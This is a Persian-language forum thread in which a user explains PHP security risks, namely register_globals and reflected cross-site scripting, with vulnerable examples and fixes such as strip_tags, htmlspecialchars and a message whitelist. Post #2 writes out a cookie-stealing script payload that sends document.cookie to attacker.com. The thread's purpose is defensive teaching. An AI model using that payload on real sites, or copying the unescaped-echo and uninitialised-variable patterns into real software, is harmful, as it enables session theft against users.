نمایش نتایج: از شماره 1 تا 5 , از مجموع 5

موضوع: امنيت در برنامه نويسي php

  1. #1
    عضو دائم Rezash آواتار ها
    تاریخ عضویت
    Feb 2010
    محل سکونت
    مشهد
    نوشته ها
    1,923
    تشکر تشکر کرده 
    889
    تشکر تشکر شده 
    2,385
    تشکر شده در
    1,535 پست

    58 امنيت در برنامه نويسي php

    سلام
    در اين تاپيك قصد داريم پيرامون امنيت در برنامه نويسي تحت وب مباحثي رو مطرح كنيم !
    Register Globals
    همانطور كه در سايت مرجع ذكر شده است ،‌ Register Globals يك آسيب پذيري نيست و در واقع يك ريسك امنيتي به حساب مي رود.
    register_globals قابليت خاصي در برنامه نويسي php است كه به برنامه نويس امكان مقداري دهي متغير ها را به طور مستقيم و از طريق نوار آدرس مي دهد.
    اين قابليت نه تنها يك مشكل امنيتي به حساب نمي آيد بلكه يك مزيت ويژه نيز به حساب مي آيد ؛ اما از آنجا كه امكان و احتمال بروز اشتباه برنامه نويس در بكار گيري اين قابليت زياد است به صورت پيش فرض اين قابليت در نسخه هاي جديد php غير فعال مي باشد.
    مثال زير از سايت مرجع به وضوح بيانگر اين ريسك مي باشد :
    کد PHP:
    <?php
    // define $authorized = true only if user is authenticated
    if (authenticated_user()) {
        
    $authorized true;
    }

    // Because we didn't first initialize $authorized as false, this might be
    // defined through register_globals, like from GET auth.php?authorized=1
    // So, anyone can be seen as authenticated!
    if ($authorized) {
        include 
    "/highly/sensitive/data.php";
    }
    ?>
    فرض كنيد كاربر آدرس زير را در مرورگر وارد كنيد :
    file.php?authorized=1
    در اين صورت متغير authorized برابر true تلقي خواهد شد !
    راهكار : در صورتي كه مايل به استفاده از Register Globals هستيد كافيست در كد نويسي دقت نموده و در ابتداي برنامه متغير هاي لازم را مقدار دهي اوليه كنيد.
    در كد زير اين ريسك امنيتي رفع شده است :
    کد PHP:
    <?php
    // initialize $authorized as false, 
    $authorized false;
    // define $authorized = true only if user is authenticated
    if (authenticated_user()) {
        
    $authorized true;
    }

    if (
    $authorized) {
        include 
    "/highly/sensitive/data.php";
    }
    ?>
    چگونه Register Globals را فعال/غير فعال كنيم ؟
    فايل php.ini را با يك ويرايش گر مناسب باز كنيد و خط زير را بيابيد :
    register_globals =
    براي فعال كردن بايد :
    register_globals = On
    و غير فعال كردن :
    register_globals = Off
    باشد.
    ادامه دارد ...
    بک آپ بگیرید قبل از آنکه پشیمان شوید!
    تشخیص سیستم مدیریت محتوای سایت - سایت شخصی

  2. تعداد تشکر ها ازRezash به دلیل پست مفید


  3. # ADS




     

  4. #2
    عضو دائم Rezash آواتار ها
    تاریخ عضویت
    Feb 2010
    محل سکونت
    مشهد
    نوشته ها
    1,923
    تشکر تشکر کرده 
    889
    تشکر تشکر شده 
    2,385
    تشکر شده در
    1,535 پست

    پیش فرض پاسخ : امنيت در برنامه نويسي php

    Cross Site Scripting
    فرض كنيد در قسمتي از سايت شما ، قرار هست به كاربر پيغامي رو بر اساس وضعيتي كه داريم نمايش بديم.
    كد نويسي انجام شده به اين صورت هست :
    کد PHP:
    <?php

    If(isset($_GET['msg']))
        Echo  
    $_GET['msg'];
    ?>
    در اين صورت پيغام هاي مختلف رو به راحتي ميتونيد براي كاربر نمايش بديد :
    کد HTML:
    File.php?msg=Wrong user/pass
    File.php?msg=404 page not found
    و لزوما هم متد GET نيست و ممكن هست براي مخفي كردن پيام د آدرس بار از ديد كاربر اين عمل رو با متد POST انجام بديد.
    اشكال كار كجاست ؟
    فرض كنيد اين لينك به كاربر شما ارائه بشه :
    کد HTML:
    File.php?msg= This site is hacked !
    و يا :

    کد HTML:
    File.php?msg= <b> This site is hacked ! </b>
    اما اشكال اصلي كار اينجا نيست ! درسته در اين صورت كاربر سايت شما با پيغام نامناسب روبرو ميشه اما اصل اين خطر مربوطه به مورد حمله قرار دادن كاربر شما و سرقت اطلاعات كاربر هست.
    فرض كنيد اين لينك به كاربر شما ارائه بشه :
    File.php?msg=<script>document.location = attacker.com: The Best Search Links on the Net' + document.cookie</script>
    شايد متوجه مشكل شده باشيد !
    بله در اين صورت كوكي ها كاربر به آدرس attacker.com/file.php ارسال ميشند.
    البته اگر در كوكي ها اطلاعات حساسي نگه نداشته باشيم و با رعايت نكات ايمني سشن ها و كوكي ها رو بدرستي استفاده كرده باشيم مشكل خاصي پيش نمياد.اما در بسياري از برنامه ها كاربر به صرف داشتن كوكي ها صاحب حساب تلقي ميشه.
    در قسمت بعد در رابطه با COOKIE ها و SESSION ها با مثال هاي عملي صحبت ميكنيم.
    بک آپ بگیرید قبل از آنکه پشیمان شوید!
    تشخیص سیستم مدیریت محتوای سایت - سایت شخصی

  5. تعداد تشکر ها از Rezash به دلیل پست مفید


  6. #3
    عضو دائم Rezash آواتار ها
    تاریخ عضویت
    Feb 2010
    محل سکونت
    مشهد
    نوشته ها
    1,923
    تشکر تشکر کرده 
    889
    تشکر تشکر شده 
    2,385
    تشکر شده در
    1,535 پست

    پیش فرض پاسخ : امنيت در برنامه نويسي php

    سلام
    بالاخره فرصتي بشد براي ادامه آموزش !
    در مورد حملا xss صحبت كرديم اما راه حلي ارائه نشد !
    بنابراين در ابتدا به مقابله با اين حملات ميپردازيم
    براي نمايش پيغام ها به جاي اينكه مستقيما از
    کد PHP:
        echo  $_GET['msg']; 
    استفاده كنيم ميتونيم ابتدا رشته رو خنثي سازي كنيم ! يعني رشته رو از وجود تگ هاي html و جاوا اسكريپت و... خنثي كنيم.
    به عنوان نمونه با تابع strip_tags ميتونيم تمام تگهاي js و html رو حذف كنيم.
    ممكن هست بخواهيم همه تگها (براي نمونه : ) جز تگ <br> حذف بشند كه در اينصورت در پاراكتر دوم تابع strip tags از br (و ليست ساير تگ ها مجاز انتخابي ) استفاده ميكنم
    خوشبختانه منوال php به قدري غني هست كه به وضوح اين توابع با مثال هايي توضيح داده شدند و جاي مثال اضافي نيست !
    PHP: strip_tags - Manual
    Example #1 strip_tags() example
    کد PHP:
    <?php
    $text 
    '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
    echo 
    strip_tags($text);
    echo 
    "\n";

    // Allow <p> and <a>
    echo strip_tags($text'<p><a>');
    ?>
    The above example will output:
    Test paragraph. Other text
    <p>Test paragraph.</p> <a href="#fragment">Other text</a>
    تابع htmlspecialchars :
    اين تابع هم تابع مفيدي براي خنثي كردن كدهاي html هست.در واقع كدهاي html در اين تابع حذف نميشند بلكه با كاركترهايي مناسب جايگزين و قابل نمايش (به جاي اجرا)‌ميشند.
    PHP: htmlspecialchars - Manual
    * اين توابع رو بعدا به طور جامع در يك پست توضيح ميدم و در نهايت با كمك مجموعه اين توابع تابعي ميسازيم كه بتونه تمام متغير ها و آرايه هاي ورودي رو براي ما امن كنه و تاحدودي زيادي جلوي حملات xss و sql injection رو به صورت خودكار بگيريم !
    اما ! اين روش از نظر من كلا اشتباست.
    دليلي وجود نداره كه پيغام مورد نمايش رو از طريق post يا get ارسال كنيم تا چنين مشكلاتي پيش بياد.
    فرض كنيد :
    کد PHP:
    <?php
    $msg 
    = array(
    'login'         =>    'Please Login',
    'faield'        =>    '<font color=red><b>Login failed !</b></font>',
    'success'        =>    '<font color=green><b>Login was successfull !</b></font>',
    );
    if(isset(
    $_GET['msg']))
        if(isset(
    $msg[$_GET['msg']]))
            die(
    $msg[$_GET['msg']]);
        else
            die(
    'invalid msg !');
    ?>
    فكر كنم واضح باشه ، اما بهرحال باز در فرصتي مناسب توضيحات بيشتري ميدم.
    بک آپ بگیرید قبل از آنکه پشیمان شوید!
    تشخیص سیستم مدیریت محتوای سایت - سایت شخصی

  7. تعداد تشکر ها از Rezash به دلیل پست مفید


  8. #4
    عضو انجمن parsspace آواتار ها
    تاریخ عضویت
    Dec 2009
    نوشته ها
    264
    تشکر تشکر کرده 
    75
    تشکر تشکر شده 
    535
    تشکر شده در
    312 پست

    پیش فرض پاسخ : امنيت در برنامه نويسي php

    تو مثال اول اگه مقدار داخل ایف اجرا نشه که کلا ارور میده. اصلا کلا برنامه اشتباست

  9. #5
    عضو دائم Rezash آواتار ها
    تاریخ عضویت
    Feb 2010
    محل سکونت
    مشهد
    نوشته ها
    1,923
    تشکر تشکر کرده 
    889
    تشکر تشکر شده 
    2,385
    تشکر شده در
    1,535 پست

    پیش فرض پاسخ : امنيت در برنامه نويسي php

    نقل قول نوشته اصلی توسط parsspace نمایش پست ها
    تو مثال اول اگه مقدار داخل ایف اجرا نشه که کلا ارور میده. اصلا کلا برنامه اشتباست
    کد PHP:
    <?php
    // define $authorized = true only if user is authenticated
    if (authenticated_user()) {
        
    $authorized true;
    }

    // Because we didn't first initialize $authorized as false, this might be
    // defined through register_globals, like from GET auth.php?authorized=1
    // So, anyone can be seen as authenticated!
    if ($authorized) {
        include 
    "/highly/sensitive/data.php";
    }
    ?>
    اين مثال رو گفتيد ؟
    خير ،‌اگر Register Globals فعال باشه ميشه مقدار متغير authorized رو از آدرس بار هم مقدار دهي كرد و بدون خطا ران كرد.
    اين مثال از سايت php.net هست !
    بک آپ بگیرید قبل از آنکه پشیمان شوید!
    تشخیص سیستم مدیریت محتوای سایت - سایت شخصی

اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. همكار پروژه اي كدنويسي وبسايت
    توسط GoldinHost.IR در انجمن به دنبال کارمند هستم
    پاسخ ها: 0
    آخرين نوشته: May 19th, 2017, 09:37
  2. تغييرات در سايت كه با دات نت برنامه نويسي شده
    توسط mohsenshayan در انجمن درخواست خدمات برنامه نویسی
    پاسخ ها: 0
    آخرين نوشته: April 26th, 2015, 03:12
  3. اديت قالب (يه كد نويسي حرفه اي لازم داريم)
    توسط vahidxiii در انجمن درخواست خدمات برنامه نویسی
    پاسخ ها: 1
    آخرين نوشته: June 10th, 2014, 12:58
  4. طراحي و برنامه نويسي سايت پيشبيني فوتبال
    توسط Mass70 در انجمن درخواست خدمات برنامه نویسی
    پاسخ ها: 7
    آخرين نوشته: April 20th, 2013, 16:37
  5. پاسخ ها: 5
    آخرين نوشته: September 17th, 2009, 14:19

کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •